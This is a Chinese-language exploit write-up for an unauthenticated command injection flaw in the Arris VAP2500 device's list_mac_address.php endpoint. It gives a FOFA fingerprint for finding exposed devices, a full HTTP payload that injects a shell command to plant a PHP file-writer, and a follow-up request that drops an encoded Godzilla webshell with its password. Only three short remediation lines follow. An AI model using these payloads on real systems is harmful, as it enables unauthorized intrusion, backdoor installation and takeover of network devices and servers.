A15-1Arris-VAP2500-RCE

漏洞描述：

Arris VAP2500 list_mac_address接口处命令执行漏洞，未授权的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器

网站图片:

网络测绘:

fofa语法：

FOFA：body=“./upload/images/lg_05_1.gif”

漏洞复现:

写一个可以创建文件的脚本到指定目录
payload：

POST /list_mac_address.php HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded

macaddr=00%3A00%3A44%3A00%3A00%3A00%3Becho+%27%3C%3Fphp+file_put_contents%28%24_POST%5B%22filename%22%5D%2C+%24_POST%5B%22content%22%5D%29%3F%3E%27%3E+%2Fvar%2Fwww%2Ftest.php&action=0&settype=1

效果图:

验证是否成功创建

GET /test.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip

利用该脚本写马子

POST /test.php HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded

filename=shell.php&content=%3C%3Fphp+%40session_start%28%29%3B+%40set_time_limit%280%29%3B+%40error_reporting%280%29%3B+function+encode%28%24D%2C%24K%29%7B+for%28%24i%3D0%3B%24i%3Cstrlen%28%24D%29%3B%24i%2B%2B%29+%7B+%24c+%3D+%24K%5B%24i%2B1%2615%5D%3B+%24D%5B%24i%5D+%3D+%24D%5B%24i%5D%5E%24c%3B+%7D+return+%24D%3B+%7D+%24pass%3D%22pass%22%3B+%24payloadName%3D%22payload%22%3B+%24key%3D%223c6e0b8a9c15224a%22%3B+if+%28isset%28%24_POST%5B%24pass%5D%29%29%7B+%24data%3Dencode%28base64_decode%28%24_POST%5B%24pass%5D%29%2C%24key%29%3B+if+%28isset%28%24_SESSION%5B%24payloadName%5D%29%29%7B+%24payload%3Dencode%28%24_SESSION%5B%24payloadName%5D%2C%24key%29%3B+if+%28strpos%28%24payload%2C%22getBasicsInfo%22%29%3D%3D%3Dfalse%29%7B+%24payload%3Dencode%28%24payload%2C%24key%29%3B+%7D+eval%28%24payload%29%3B+echo+substr%28md5%28%24pass.%24key%29%2C0%2C16%29%3B+echo+base64_encode%28encode%28%40run%28%24data%29%2C%24key%29%29%3B+echo+substr%28md5%28%24pass.%24key%29%2C16%29%3B+%7Delse%7B+if+%28strpos%28%24data%2C%22getBasicsInfo%22%29%21%3D%3Dfalse%29%7B+%24_SESSION%5B%24payloadName%5D%3Dencode%28%24data%2C%24key%29%3B%7D%7D%7D%3F%3E

PS：哥斯拉php 密码: pass 加密器：PHP_XOR_BASE64
尝试连接

修复建议:

官方已修复该漏洞，请用户联系厂商修复漏洞：https://www.arris.com/
通过防火墙等安全设备设置访问策略，设置白名单访问。
如非必要，禁止公网访问该系统。